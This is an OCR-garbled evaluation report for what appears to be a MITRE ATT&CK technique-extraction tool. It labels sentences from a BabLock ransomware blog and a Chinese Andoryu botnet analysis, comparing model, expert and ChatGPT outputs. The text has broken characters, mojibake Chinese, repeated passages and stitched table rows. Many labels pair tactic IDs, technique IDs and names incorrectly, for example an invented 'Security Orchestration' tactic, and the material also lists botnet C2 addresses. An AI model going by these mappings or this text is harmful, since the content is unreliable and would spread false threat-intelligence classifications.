Trend Micro Apex One™offers next-level automated [{'taid": 'TAO004', 'tactic': 'Security 4 [0,1,2,3]
threat detection and response against advanced Orchestration’, 'tid": "', 'technique':
concerns such as fileless threats and ransomware, ‘Endpoint Protection'}, {'taid":
ensuring the protection of endpoints. ‘TA0008', 'tactic": 'lImpact’, 'tid": ",
'technique': 'Computer and Network
Defense-in-Depth'}, {'taid': 'TAO006',
'tactic': 'Defense Evasion', 'tid": "',
'technique': 'Fileless Malware'}, {'taid":
'TA0040', 'tactic': 'Impact’, 'tid": "',
'technique': 'Data Encrypted'}]
Indicators of Compromise (IOCs) The indicators of [{'taid": 'TAO0O3', 'tactic': 'Discovery', |2 [0, 1]

compromise for this entry can be found here.

'tid": 'T1070', 'technique': 'Indicator
Removal on Host'}, {'taid": 'TA0003',
'tactic': 'Discovery', 'tid": 'T1027.005',
'technique': 'Indicator Removal from
Tools'}]
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A ransomware called BabLock (aka Rorschach) has
recently been making waves due to its sophisticated
and fast-moving attack chain that uses subtle yet
effective techniques.
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Although primarily based on LockBit, the ransomware | [{'taid": 'TA0012’, 'tactic': 'Defense 2 0
is a hodgepodge of other different ransomware parts | Evasion’, 'tid": 'T1583', 'technique':
pieced together into what we now call BabLock ‘Timestomping'}, {'taid": 'TA0009',
(detected as Ransom.Win64.LOCKBIT.THGOGBB.enc). | 'tactic’: 'Execution’, 'tid": "',
'technique': 'Command-Line
Interface'}]
Note, however, that we do not believe that this 1} 0 1}
ransomware originates from the threat actors behind
LockBit, which is now in its third iteration.
In this blog entry, we look at its attack chain in detail 1} 0 1}
and examine its likely origins.
In June 2022, we discovered a ransomware (which [{'taid": 'TAO010', 'tactic': 'Persistence’, | 3 0
turned out to be BabLock) using what appeared to be | 'tid": 'T1564', 'technique': 'Hide
a unique style of appending extensions, where instead | Artifacts: Hidden File System'}, {'taid":
of the normal “one sample, one extension” method "TA0006', 'tactic': 'Defense Evasion’,
commonly used in ransomware attacks, we discovered | 'tid": 'T1027', 'technique': 'Obfuscated
that the attackers were appending numerical Files or Information'}, {'taid': "TAO0O6',
increments from 00-99 on top of the fixed ransomware | 'tactic': 'Defense Evasion', 'tid":
extension for this specific infection. ‘T1070", 'technique': 'Indicator
Removal on Host: File Deletion'}]
As a result, even on a single infected machine, there [{'taid": 'TAO003', 'tactic': 'Persistence’, | 1 [0]
could be multiple extension variations from a single 'tid": 'T1486', 'technique': 'Data
execution. Encrypted'}]
Our investigation found that the ransomware was [{'taid": 'TA0002', 'tactic': 'Initial 2 0
always deployed as a multi-component package Access', 'tid": 'T1027.002', 'technique':
consisting mostly of the following files: 'Software Packing'}, {'taid': "'TA0002',
'tactic': 'Initial Access', 'tid":
'T1566.002', 'technique': 'Phishing:
Spearphishing Attachment'}]
The encrypted ransomware file, config.ini [{'taid": 'TA0010', 'tactic': 'Persistence’, | 3 1]
A malicious sideloaded DLL (DarkLoader, a config.ini 'tid": 'T1564', 'technique': 'Hide
decryptor and ransomware injector) Artifacts: Hidden File System'}, {'taid":
A non-malicious executable used to load the malicious | 'TA0005', 'tactic": 'Privilege
DLL Escalation', 'tid": 'T1574', 'technique':
A CMD file to execute the non-malicious binary using | 'Hijack Execution Flow'}, {'taid":
the correct password 'TA0007', 'tactic': 'Credential Access',
'tid": 'T1008', 'technique': 'OS
Credential Dumping'}]
The DarkLoader DLL will check for specific [{'taid": 'TA0002', 'tactic': 'Initial 2 0
commands, particularly --run, which checks for the Access', 'tid": 'T1566.001', 'technique':
correct 4-digit password needed to start the 'Phishing: Spearphishing Link'}, {'taid":
encryption process. 'TA0002', 'tactic': 'Initial Access', 'tid":
'T1036', 'technique': 'Masquerading'}]
Figure 3. If the correct passcode is added to the [{'taid": 'TA0012', 'tactic': 'Defense 1 0
command line, the ransomware will proceed with the | Evasion', 'tid": 'T1202', 'technique':
whole encryption process 'Indirect Command Execution'}]
Once the DLL component is loaded by the non- [{'taid": 'TAO009', 'tactic': 'Execution’, |3 0
malicious executable, it will immediately look for the 'tid": 'T1059.003', 'technique':
config.ini file in the current executable’s path. 'Scheduled Task/Job: Scheduled
Task'}, {'taid": 'TA0009', 'tactic":
'Execution’, 'tid": 'T1035.003',
'technique': 'Service Execution:
Service Registry Permissions
Weakness'}, {'taid': 'TA0009', 'tactic":
'Execution’, 'tid': 'T1546.015',
'technique': 'Component Object Model
Hijacking'}]
Once this is found, the DLL decrypts config.ini and [{'taid": 'TAO009', 'tactic': 'Execution’, |2 0

then executes notepad.exe with a certain set of
command lines.

'tid": 'T1055', 'technique': 'Process
Injection'}, {'taid': 'TA0006', 'tactic":
'Defense Evasion', 'tid': 'T1027",
'technique': 'Obfuscated Files or
Information'}]




For this particular campaign, we found a few notable [{'taid": 'TA0002', 'tactic': 'Initial 0
and consistent patterns: Access', 'tid": "', 'technique':

'Deceptive Domain Name System

(DNS) Infrastructure'}]
The main ransomware binary is usually delivered as an | [{'taid': 'TA0002', 'tactic': 'Initial 0
encrypted config.ini file. Access', 'tid": 'T1566.001", 'technique':

'Phishing: Spearphishing Link'}, {'taid":

'TA0002', 'tactic': 'Initial Access', 'tid":

'T1036', 'technique': 'Masquerading'},

{'taid': 'TA0010', 'tactic': 'Persistence’,

'tid": 'T1564', 'technique': 'Hide

Artifacts'}]
DarkLoader is executed via DLL sideloading using [{'taid": 'TAO003', 'tactic': 'Persistence’, 0
legitimate executables. 'tid": 'T1547.001", 'technique': 'Boot or

Logon Autostart Execution: Registry

Run Keys / Startup Folder'}, {'taid":

'TA0006', 'tactic': 'Defense Evasion',

'tid": 'T1218.011", 'technique': 'Signed

Binary Proxy Execution: Compiled

HTML File'}]
The config.ini file is decrypted by a specially crafted [{'taid": 'TA0002', 'tactic': 'Initial 0
loader designed specifically for these campaigns Access', 'tid": 'T1574.002', 'technique':
(detected as Trojan.Win64.DarkLoader) 'DLL Search Order Hijacking'}, {'taid':

'TA0002', 'tactic': 'Initial Access', 'tid":

'T1027.002', 'technique': 'Software

Packing'}]
BabLock appends a random number from 00 to 99 to [{'taid": 'TAO003', 'tactic': 'Persistence’, 0
the extension string per file within the same infected 'tid": 'T1486', 'technique': 'Data
machine (for example, extn00-extn99 as extensions in | Encrypted'}]
the same infection).
Any DarkLoader DLL can be used to decrypt any [{'taid": 'TAO00O6', 'tactic': 'Defense [0]
encrypted ransomware config.ini, with no specific Evasion', 'tid": 'T1027', 'technique':
binary pairing needed. 'Obfuscated Files or Information'}]
The DarkLoader DLL uses Direct SysCall APIs to a [{'taid": 'TAO0O0O6', 'tactic': 'Defense 0
select few, but important, calls to avoid API reading Evasion', 'tid": "', 'technique":
analysis. 'Disabling Security Tools'}]
The decrypted BabLock ransomware is always packed | [{'taid': 'TA0006', 'tactic': 'Defense 0
with VMProtect for anti-virtualization. Evasion', 'tid": 'T1497', 'technique':

'Virtualization/Sandbox Evasion'}]
BabLock is loaded via the threat injection of a hooked | [{'taid': "'TA0009', 'tactic': 'Execution’, [0]
API NtdIl.RtITestBit to jump to memory containing the | 'tid": 'T1055.012', 'technique': 'Process
ransomware code. Injection: Dynamic-link Library

Injection'}, {'taid': 'TA0009', 'tactic":

'Execution’, 'tid": ', 'technique': 'API

Hooking'}]
There have been a few variations of the passcode for - | [{'taid': 'TA0012', 'tactic': 'Defense 0
-run across different attacks, but all of them are still Evasion', 'tid": 'T1024', 'technique':
within a certain range of each other. 'Custom Cryptographic Protocol'}]
Figure 4. The command line argument supplied to [{'taid": 'TAO009', 'tactic': 'Execution’, [0]
notepad.exe to load and execute the ransomware on 'tid": ", 'technique': 'Command and
recent attacks. Scripting Interpreter: Windows

Command Shell'}]
Figure 5. DLL using several direct SysCall instructions | [{'taid': 'TA0006', 'tactic': 'Defense 0
to avoid API reading techniques Evasion', 'tid": "', 'technique":

'Disabling Security Tools: Direct

System Calls'}]
Figure 6. The notepad.exe file is injected with an API [{'taid": 'TAO009', 'tactic': 'Execution’, [0]

call thread to RtITestBit, which has been
patched/hooked to jump to the malicious routine

'tid": 'T1055.001", 'technique': 'Process
Injection: Dynamic-link Library
Injection'}, {'taid': 'TA0009', 'tactic":
'Execution’, 'tid": ', 'technique': 'API
Hooking'}]




Throughout our initial encounter with BabLock in June | [{'taid': "'TA0002', 'tactic': 'Initial 0
2022, we searched for similar files and found that the Access', 'tid": 'T1590', 'technique':
earliest record of these files dated back to March 'Conduct Active Scanning'}, {'taid":
2022. After discovering this, we wanted to find out how | TA0020', 'tactic': 'Exfiltration’, 'tid":
it managed to stay under the radar for so long. ‘T1020', 'technique': '‘Automated
Exfiltration'}, {'taid': 'TA0020', 'tactic':
'Exfiltration’, 'tid": 'T1020.002',
'technique': 'Exfiltration Over SSL'}]
Since June 2022, there have only been a handful of [{'taid": 'TA0040', 'tactic': 'Impact’, [0]
recorded incidents involving the ransomware, 'tid": 'T1444', 'technique': 'Data
including the most recent one. Due to a low number Encrypted for Impact'}]
count, no notable statistics involving region, industry,
or victim profile have stood out as of the time of
writing.
Figure 7. Distribution of incidents involving the [{'taid": 'TA0040', 'tactic': 'Impact’, 0
BabLock ransomware 'tid": ', 'technique': 'Data Destruction:
Wiper Malware'}]
However, due to its notable features and [{'taid": 'TA0040', 'tactic': 'Impact’, [1]
characteristics, attacks related to BabLock can be 'tid": 'T1566.001', 'technique':
easily identified. As we’ve already mentioned, after 'Phishing: Spearphishing Link'}, {'taid":
every file encryption, the ransomware appends a ‘TA0040', 'tactic': 'Impact’, 'tid":
random number string between 00-99 to its hardcoded | 'T1486', 'technique': 'Data Encrypted'}]
extension. This results in up to 100 different variations
of the same ransomware extension.
Figure 8. Code snippet showing a random number [{'taid": 'TA0040', 'tactic': 'Impact’, [0]
string between 00-99 being appended to encrypted 'tid": 'T1486', 'technique': 'Data
files Encrypted'}]
It also has a fairly sophisticated execution routine: [{'taid": 'TAO009', 'tactic': 'Execution’, 0
'tid": 'T1070', 'technique': 'Indicator
Removal on Host: File Deletion'}]
It uses a specific number code to execute properly. [{'taid": 'TAO009', 'tactic': 'Execution’, 0
'tid": 'T1527.001", 'technique':
'Application Access Token: Windows
Tokens'}]
It splits the package into multiple components. [{'taid": 'TAO00O6', 'tactic': 'Defense 0
Evasion', 'tid": 'T1027', 'technique':
'Obfuscated Files or Information'}]
It separates and hides the actual payload into an [{'taid": 'TA0040', 'tactic': 'Impact’, 0
encrypted file. 'tid": 'T1486', 'technique': 'Data
Encrypted'}]
It uses normal applications as loaders [{'taid": 'TAO003', 'tactic': 'Persistence’, 0
'tid": 'T1047', 'technique': 'Windows
Management Instrumentation Event
Subscription'}]
Finally, BabLock employs publicly available tools as [{'taid": 'TA0040', 'tactic': 'Impact’, [0]
part of its infection chain. We found that the most used | 'tid": 'T1497.001", 'technique': 'Ingress
tools were the following: Tool Transfer'}, {'taid": 'TA0002',
Chisel - A transmission control protocol (TCP) and ‘tactic': 'Initial Access', 'tid": 'T1133',
user datagram protocol (UDP) tunnel ‘technique': 'External Remote
Fscan - A scanning tool Services'}, {'taid": 'TA0006', 'tactic":
By using these two tools — combined with ‘Defense Evasion', 'tid": 'T1090',
BabLock/LockBit possessing the capability to set ‘technique': 'Proxy'}]
active directory (AD) Group Policies for easier
propagation — it’s possible for a malicious actor to
navigate around a network without much effort
Comparing and contrasting BabLock to LockBit and [{'taid": 'TA0040', 'tactic': 'Impact’, [0]

other ransomware

From our investigation, most of the routines used by
BabLock are more closely related to Lockbit (2.0) than
any other ransomware. Other researchers also
mention similarities to ransomware such as Babuk,
Yanluowang and others.

'tid": 'T1486', 'technique': 'Data
Encrypted'}, {'taid': 'TA0040', 'tactic":
'Impact’, 'tid": 'T1490', 'technique':
'Inhibit System Recovery'}]




Figure 9. The ransomware binary decrypts and [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
executes the command line to delete shadow copies. | 'tid": 'T1490', 'technique': 'Inhibit
System Recovery'}]
One of its common characteristics to Lockbit (2.0) [{'taid": 'TA0002', 'tactic': 'Initial 4 [1,2]
would be the use of the same group policy to generate | Access', 'tid": 'T1133', 'technique':
a desktop drop path. Similarly, the use of vssadmin for | 'External Remote Services'}, {'taid":
deleting shadow copies is also a routine heavily used | 'TA0040', 'tactic': 'lmpact', 'tid":
in LockBit attacks (albeit also a common routine for ‘T1486', 'technique': 'Data Encrypted'},
many modern ransomware). Still, the resemblance is {'taid": "'TA0040', 'tactic": 'Impact’, 'tid":
uncanny. Furthermore, it is running the same ‘T1490', 'technique': 'Inhibit System
commands to execute GPUpdate for the AD. Due to Recovery'}, {'taid": 'TA0006', 'tactic':
this, our detection for this ransomware is still under 'Defense Evasion', 'tid": "T1518.001",
the LockBit family. 'technique': 'Security Software
Discovery'}]
Figure 10. Comparing BabLock’s group policy for [{'taid": 'TA0040', 'tactic': 'Impact’, 1 0
generating the desktop drop path (left) with that of 'tid": 'T1027", 'technique': 'Obfuscated
LockBit (right) Files or Information'}]
Figure 10. Comparing BabLock’s group policy for
generating the desktop drop path (left) with that of
LockBit (right)
Figure 10. Comparing BabLock’s group policy for
generating the desktop drop path (left) with that of
LockBit (right)
From what we can tell, BabLock looks like a [{'taid": 'TA0040', 'tactic': 'Impact’, 1 0
Frankenstein-like creation that is stitched together 'tid": 'T1027', 'technique': 'Obfuscated
from different known ransomware families. Files or Information'}]
Figure 11. Similarities between BabLock and other [{'taid": 'TA0040', 'tactic': 'Impact’, 1 0
ransomware families 'tid": 'T1027', 'technique': 'Obfuscated
Files or Information'}]
Ouir first encounter with BabLock almost coincided [{'taid": 'TA0002', 'tactic': 'Initial 2 0
with the release of Lockbit v3.0. However, since most | Access', 'tid": 'T1133', 'technique':
of its structure still resembles Lockbit v2.0, we surmise | 'External Remote Services'}, {'taid":
that this may be from another affiliate or group. With ‘"TA0040', 'tactic": 'Impact’, 'tid":
nearly a year since the release of LockBit v3.0, we ‘T1027', 'technique': 'Obfuscated Files
have found no changes to the payload of the BabLock | or Information'}]
even with recent attacks, further solidifying our stance
that they are neither connected nor closely affiliated
with the actual LockBit group.
What we do know is that the threat actor behind [{'taid": 'TA0002', 'tactic': 'Initial 2 0
BabLock managed to take many of the base Access', 'tid": 'T1133', 'technique':
capabilities of LockBit v2.0 and added bits and pieces | 'External Remote Services'}, {'taid":
of different ransomware families to create their own ‘TA0040', 'tactic': 'lImpact’, 'tid":
unique variant, which could possibly be enhanced ‘T1027', 'technique': 'Obfuscated Files
further in the future. or Information'}]
Organizations can implement security frameworks to [{'taid": 'TAO004', 'tactic': 'Security 2 [1]
safeguard their systems from similar attacks, which Orchestration’, 'tid": "', 'technique':
systematically allocate resources to establish a robust | 'Security Assessment'}, {'taid":
defense strategy against ransomware. ‘TA0040', 'tactic': 'Impact’, 'tid": "',
'technique': 'Data Encrypted'}]
Taking an inventory of assets and data [{'taid": 'TAO004', 'tactic': 'Security 1 0
Orchestration’, 'tid": "', 'technique':
'Asset Management'}]
Identifying authorized and unauthorized devices and [{'taid": 'TAO004', 'tactic': 'Security 1 0
software Orchestration’, 'tid": "', 'technique':
'Network Device and Account
Enumeration'}]
Auditing event and incident logs [{'taid": 'TAO00O3', 'tactic': 'Discovery', |1 0
'tid": "', 'technique': 'Security
Information and Event Management'}]
Managing hardware and software configurations [{'taid": 'TAO004', 'tactic': 'Security 1 0

Orchestration’, 'tid": "', 'technique':
'Security Configuration Management'}]




Granting admin privileges and access only when
necessary to an employee’s role

[{'taid": 'TA00Q7', 'tactic': 'Credential
Access', 'tid": 'T1087', 'technique':
'Account Discovery'}]

-

Monitoring network ports, protocols, and services

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Network Segmentation'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T11383', 'technique': 'External Remote
Services'}]

Establishing a software allowlist that only executes
legitimate applications

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Application Control'}]

Implementing data protection, backup, and recovery
measures

[{'taid": 'TA0040', 'tactic': 'Impact’,
'tid": 'T1487', 'technique': 'Data
Backup'}]

Enabling multifactor authentication (MFA)

[{'taid": 'TA00Q7', 'tactic': 'Credential
Access', 'tid": "', 'technique': 'Two-
Factor Authentication'}]

-

Deploying the latest versions of security solutions to
all layers of the system, including email, endpoint,
web, and network

[{'taid": 'TA0003', 'tactic': 'Discovery’,
'tid": "', 'technique': 'Security
Information and Event Management'},
{'taid': 'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Software Updating and Patching'},
{'taid': 'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Endpoint Protection'}, {'taid":
'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Network Segmentation'}, {'taid":
'TA0008', 'tactic': 'Impact’, 'tid": "',
'technique': 'Computer and Network
Defense-in-Depth'}]

Watching out for early signs of an attack such as the
presence of suspicious tools in the system

[{'taid": 'TA0002', 'tactic': 'Initial
Access', 'tid": 'T1518', 'technique':
'Software Discovery'}, {'taid': 'TA0002',
'tactic': 'Initial Access', 'tid': 'T1087",
'technique': 'Account Discovery'},
{'taid': 'TA0002', 'tactic': 'Initial
Access', 'tid": 'T1133', 'technique':
'External Remote Services'}, {'taid":
'TA0003', 'tactic': 'Discovery', 'tid": ',
'technique': 'Security Information and
Event Management'}, {'taid": 'TA0006',
'tactic': 'Defense Evasion', 'tid": ',
'technique': 'Entrypoint Obscurity'}]

Implementing a multi-faceted approach can aid
organizations in securing potential entry points into
their systems such as endpoint, email, web, and
network. With the help of security solutions that can
identify malevolent elements and questionable
activities, enterprises can be safeguarded from
ransomware attacks.

[{'taid": 'TA0008', 'tactic': 'Impact’,
'tid": ', 'technique': 'Computer and
Network Defense-in-Depth'}]

Trend Micro Vision One™provides multilayered
protection and behavior detection, which helps block
questionable behavior and tools before the
ransomware can do any damage.

[{'taid": 'TA0008', 'tactic': 'Impact’,
'tid": "', 'technique': 'Computer and
Network Defense-in-Depth'}, {'taid":
'TA0003', 'tactic': 'Discovery', 'tid": "',
'technique': 'Security Information and
Event Management'}, {'taid": 'TA0006',
'tactic': 'Defense Evasion', 'tid": "',
'technique': 'Anti-virus Software'}]

Trend Micro Cloud One™ - Workload Securityprotects
systems against both known and unknown threats that
exploit vulnerabilities. This protection is made possible

[{'taid": 'TA0008', 'tactic': 'Impact’,
'tid": ", 'technique': 'Computer and
Network Defense-in-Depth'}, {'taid":




through techniques such as virtual patching and
machine learning.

'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Software Updating and Patching'},
{'taid': 'TA0006', 'tactic': 'Defense
Evasion', 'tid": "', 'technique': 'Host-
based Intrusion Prevention Systems'}]

compromise for this entry can be found here.

'tid": 'T1070', 'technique': 'Indicator
Removal on Host'}, {'taid": 'TA0003',
'tactic': 'Discovery', 'tid": 'T1027.005',
'technique': 'Indicator Removal from
Tools'}]

Trend Micro™ Deep Discovery™ Email [{'taid": 'TAO00Q7', 'tactic': 'Credential 3 0
Inspectoremploys custom sandboxing and advanced Access', 'tid": 'T1566', 'technique':
analysis techniques to effectively block malicious 'Phishing'}, {'taid': 'TA0002', 'tactic':
emails, including phishing emails that can serve as 'Initial Access', 'tid": 'T1598.002',
entry points for ransomware. 'technique': 'Spearphishing
Attachment'}, {'taid": 'TA0008', 'tactic":
'Impact’, 'tid": "', 'technique':
'Computer and Network Defense-in-
Depth'}]
Trend Micro Apex One™ offers next-level automated [{'taid": 'TA0004', 'tactic': 'Security 4 0
threat detection and response against advanced Orchestration’, 'tid": "', 'technique':
concerns such as fileless threats and ransomware, ‘Endpoint Protection'}, {'taid":
ensuring the protection of endpoints. ‘TA0008', 'tactic": 'Impact’, 'tid": ",
'technique': 'Computer and Network
Defense-in-Depth'}, {'taid': 'TA0006",
'tactic': 'Defense Evasion', 'tid": "',
'technique': 'Fileless Malware'}, {'taid":
'TA0040', 'tactic': 'Impact’, 'tid": "',
'technique': 'Data Encrypted'}]
Indicators of Compromise (IOCs) The indicators of [{'taid": 'TAO0O3', 'tactic': 'Discovery', |2 0

Test Report 2 Andoryu Botnet—

URL: https://mp.weixin.qq.com/s/Y VWNHW3sGW8dpTymkp5Ivg

TTPExtractor Infer Result

EF Socks M IBEHFTEEF L

sent ttps

entities

ttps_pred_count

ttps_accept_idx

BITRSERAIMEEFESH, 5
FE— T SHREFT RERET:

[{'taid": 'TAO005', 'tactic': 'Bh{iliki%

&', tid: | [

‘T1497, 'technique': 'L DFEILIR ),
{'taid': 'TA0007', 'tactic': '/&H', 'tid":
‘T1497", 'technique': 'L DFEIEIR )]

2

[0, 1]

2.2 FRIBINE

[{'taid': 'TAO005', 'tactic': 'Fh#Ikiz’, 'tid: |0
'T1027', 'technique’: SEEXXHHER",
{'taid': 'TA0005', 'tactic': 'BhfHI L&', 'tid":
'T1027.005', 'technique': &kt T B AL
HMBI4SAE'), {'taid': 'TAO005', 'tactic': '
BhEE%, 'tid': 'QT9003.001", ‘technique':
‘HEine TRMNSEE Y

[0,1,2]

HARRARS XRFHEINE, B
TTRIRAEE — R FT R IR
R RITH BB

[{'taid": 'TA0005', 'tactic': 'Bh#kie, 'tid: | [
'T1140', 'technique': '#EREMRIBXHINE
21

U]




2.3 #HiER I [{'taid": 'TA0005', 'tactic': 'BH#Elki&’, 'tid: |0 1 0]
'T1036', 'technique': '{hZ%')]

REENFHEPEEZEPRERE | [{'taid: 'TAC010', tactic’: '#IES R, 'tid: | [ 1 [0]

B, BASSTRHSEITENZESEIA: | 'T1041', 'technique': 'C2 iBi#E _EHIEIESIR
1

3. Socks5 &5 [{'taid': 'TAOO11", ‘tactic': '&n < 54!, I 1 [0]
'tid": 'T1095', 'technique': 'R R MY ']

Z{EF W& BT socks MHGHITE | [{'taid': 'TA0011', 'tactic: '@ < 51EH", I 1 [0]

{5, EABEZENT: 'tid": 'T1095', 'technique': 'JER B E N}

—. BREEERBNERSE, |[{'taid: 'TA0011', tactic': 'L 5%, a 1 [0]

IRRRSS 23t S 'tid": 'T1090', 'technique’: '{{I2'}]

"152.67.66.37:1080",

RAT AP ZBIAER sockss 1§ [{'taid": 'TA0011", 'tactic': '@ 51!, I 1 [0]

I8 'tid": 'T1090', 'technique': '{{I2'}]

=. SMRERSEEEHEAMNIE | [{'taid': 'TA005', tactic': Bz, tid: | [ 1 [0]

2RSS 23, InTERRSZBEIBULIMEAREE | 'T1140, 'technique': 'FEREREISSUGEI(E

BJ3KEY, DST_C2= B

"172.86.123.20:1025",

LEBBIERESANIPER: [{'taid': 'TA0007", ‘tactic': '&K¥0', 'tid": a 1 [0]
'T1016', 'technique’: 'RAMKEE KN

A, BIREEK c2 TRIER. [{'taid': 'TAOO11", ‘tactic': '&n < 524", a 1 [0]
'tid': 'T1090', 'technique': '{{IE")]

SRIEFMBRROLIMELEIT | [(taid: 'TA040', tactic': 'BELHEM', tid: |0 ! [0]

AR, BREEEREREL 'T1498', 'technique": 'MEIELEARSS ']

DDoS KiHiES:

3.2 DDoS 5% [{'taid': 'TA0040", 'tactic': &L B, 'tid: | [ 1 [0]
'T1498', 'technique': 'MZ&IE4ARS 'Y

AndoryuBot 5% % DDoS 753%, | [{'taid": 'TA0040', 'tactic': ELHM', 'tid: | [malware', 1 [l

'AndoryuBot']]
BT 'T1498', 'technique': 'MEIELEARSS Y]
Andoryu Botnet fIfSHEARIET | [{'taid: 'TA0002, 'tactic': 'HIAT", 'tid": [vur’, "CVE- |1 [0]

CVE-2021-22205 4}, i®i@id Lilin
DVR RCE #1TH# &, ZR&ZM
Payload 81T :

'T1203', technique': 'EF iHHITHI A

2021-22205']]

Expert Review Result

sent ttps entities ttps_pred_count | ttps_accept_idx
BEITRASECLMEEEESH, & |[{'taid: 'TA0005', tactic': 'BifHIkiE', tid: | 2 [0, 1]

FE— T SHREFT RERET:

'T1497', 'technique': 'BEHLIDFERLIZ '),
{'taid': 'TA00Q7', 'tactic': '&H', 'tid":
'T1497', 'technique': 'BEHMLIDFERLIZ Y




2.2 FREEME [{'taid": 'TA0005', 'tactic': 'FH#Elki&’, 'tid: |0 [0, 1]
'T1027', 'technique’: SEEXXHHER",
{'taid": 'TA0005', 'tactic': 'BhHI k%, 'tid":
'T1027.005', ‘technique': '&k% T B aEH
HOMBIHIASAE'), {‘taid": 'TA0005', 'tactic': '
BhEME%, 'tid': 'QT9003.001", ‘technique':
Rinee T RS
HARIARRS XREHFBME, T | ({taid: 'TA0005', ‘tactic': 'BrfIHkie’, 'tid': | I [0]
TRIMIBET— P RBIFREMBIFE | 'T1140', technique”: 'FERBMBIENHEE
FRHTHEMRE: B
2.3 HiERHE [{'taid": 'TA0005', 'tactic': 'FH#Elki&’, 'tid: |0 [0]
'T1036', 'technique': '{hZ%')]
RBEHESEPEEZEPMERE | [{'taid: 'TA010', tactic': '#iE%E, tid: |0 a
B, BAIETRHNSEITENZHESIE: | 'T1041', 'technique': 'C2 @il FVERIES R
1
3. Socks5 &5 [{'taid': 'TAOO11", ‘tactic': '&n < 524", I [0]
'tid': 'T1095', 'technique': 'IEN A E#Y'}]
Z{EF W& iET socks MHGHITE | [{'taid: 'TA0011', 'tactic: '@ < 51EH", I [0]
{5, EABEZENT: 'tid": 'T1095', 'technique': 'JER B EHIN')]
—. BEESERBORERSE, |[(taid: TA0I1, tactic’: 'S5, 0 [l
RIRRRSS 23t R 'tid": 'T1090', 'technique’: '{{I2'}]
"152.67.66.37:1080",
RA T AP ZBIAER sockss 1§ [{'taid": 'TA0011", 'tactic': '@ 5!, I [0]
I8 'tid": 'T1090', 'technique': '{{I2'}]
=, SHREREREEHEAMNIE | [{'taid: 'TA0005', tactic': 'Bhke, tid: |0 [0]
2RSS 23, InTERRSZEBIbULMEAREE | 'T1140', 'technique': 'FEREREISSUGEI(E
BJ3XEY, DST_C2= 2
"172.86.123.20:1025",
A AMIERAEHNIPER: [{'taid": 'TA0007", 'tactic': 'RH', 'tid": I [0]
‘T1016', 'technique’: 'RAMEEE LM )]
A, BIREEK C2 TRIER. [{'taid': 'TAOO11", ‘tactic': '&n < 524!, a [0]
'tid': 'T1090', 'technique': '{{I2")]
SRIEFMIMER PO UFTDLIEZT | [{'taid: 'TA0040', tactic: "BL &', 'tid: |0 [0]
AR, BREEERERL D 'T1498', 'technique": 'MEIELEARSS ']
DDoS KiHiES:
3.2 DDoS }i% [{'taid': 'TA0040", 'tactic': &L B, 'tid: | [ 0]
'T1498', 'technique': 'MZ&IE4ARS 'Y
AndoryuBot 3525 DDoS A%, | [{'taid': 'TA0040', ‘tactic’: TEL BN, 'tid: | [malware’, U]
'AndoryuBot']]

BT

'T1498', 'technique': 'MZEIE4ARS 'Y




Andoryu Botnet BB AR T
CVE-2021-22205 4}, #i&id Lilin
DVR RCE #1T# 8, AR&EMEY
Payload @1 F:

[{'taid': 'TA0002', ‘tactic': 'H147", 'tid":
'T12083', 'technique": 'EFiHHITHIA'Y

[['vul', 'CVE-
2021-22205']]

U]

ChatGPT Infer Result

'T1105', 'technique': TfEXX S5,

text tts ttps_pred_count | ttps_accept_idx
2023 4F 2 BY), SREFHMERPOMMISIEREZE | [('taid": 'TA0043", 'tactic': 'EITIFAM, tid": |1 [0]
ME—E2REKRiEBEEAFIH CVE-2021-22205iF | 'T1547.03', 'technique’: 1EXUS NI}
AEENENG, S32RIAZERNTETEANER
TEES N
Andoryu Botnet SiE SB35 T, WiTEFERETE | [{'taid": 'TA0001, 'tactic’: '#¥I& A1), tid': | 1 [0
M IS0 Andoryu Botnet HEI{XEFEAHITERIE | 'T1566', 'technique': 'TA1ER A3 ARSS 1]
AR 8 [ RIS #TEEEE, BLrAFIETZER
BT M B B -
BITNRERIMEEFESH, HEFEE ST | [{'taid': 'TA0002, 'tactic': "7, 'tid": 1 [0]
A SERIET: 'T1059', 'technique': '® <1750}
BARPIARE D XEFHFEINE, BTHEIET—E | [{'taid": 'TA0002', 'tactic': 'H1T", 'tid": 1 [0]
R EMZNE S BT ERE: 'T1027', ‘technique': '#&k3'}]
{EF prctl FEVSHIZZERH "/bin/bash": [{'taid': 'TA0004', 'tactic': 'ERBREAHD', 'tid": |1 [0]
'T1036.005', ‘technique': 'HRIRFHTZR )]
BEENFHENFEZECNERES, BAETIE | [('taid: 'TAO005', 'tactic': 'H< 5, tid": | T [0]
HiTENFZHIA 'T1059.001", technique': ‘BRI SV H Y]
ZBFP K& socks Mil#1TiEE, EMBETRE | [(taid: 'TA0012', ‘tactic’: 'WMBE', 'tid: | [0,1,2,3,4]
mF: 'T1571.001", 'technique': 'WEZER IR EHE
BRTA'}, {'taid": 'TA0012', 'tactic’: ‘WS
%', 'tid's 'T1571.002", 'technique': 'R {E
RERFREERT LY, {taid": 'TA0012',
'tactic': 'IMIBIE", 'tid': 'T1571.003",
'technique’: 'MEFEREBENEETAY,
{'taid": 'TA0013', 'tactic': JZF2iH[a]", 'tid":
'T1105', 'technique': e S5,
{'taid": 'TA0013', 'tactic': JZF2iH[a)", 'tid":
'T1071', 'technique': ' < 51ZH')]
RAFT AP ZBIAIER socks5 {{I: [{'taid": 'TA0002', 'tactic': 'H14T", 'tid": 1 [0]
'T1078.002', 'technique': 'M£& IR
EMRERSREE /M TERSE, TERSE | [{'taid: 'TA0013!, 'tactic': TF2IHE", tid: | [0]
i it SRR AT IREX, DST_C2 = 'T1573', 'technique’: ‘RS ')]
"172.86.123.20:1025",
BT IR C2 TRIES. [{'taid': 'TA0013', 'tactic’: A2k, 'tid: |2 [0, 1]




{'taid": 'TA0013', 'tactic': JEFEAa]', 'tid":
‘T1001", 'technique': 'HUIEMITFZ R FURE Y

AndoryuBot 3Z#5Z % DDoS Ai%, BE#iIT:

[{'taid": 'TA0048', 'tactic':
'T1498.001', 'technique':
{'taid": 'TA0048', 'tactic':
'T1498.0083', 'technique':

SNl Ss, tid":
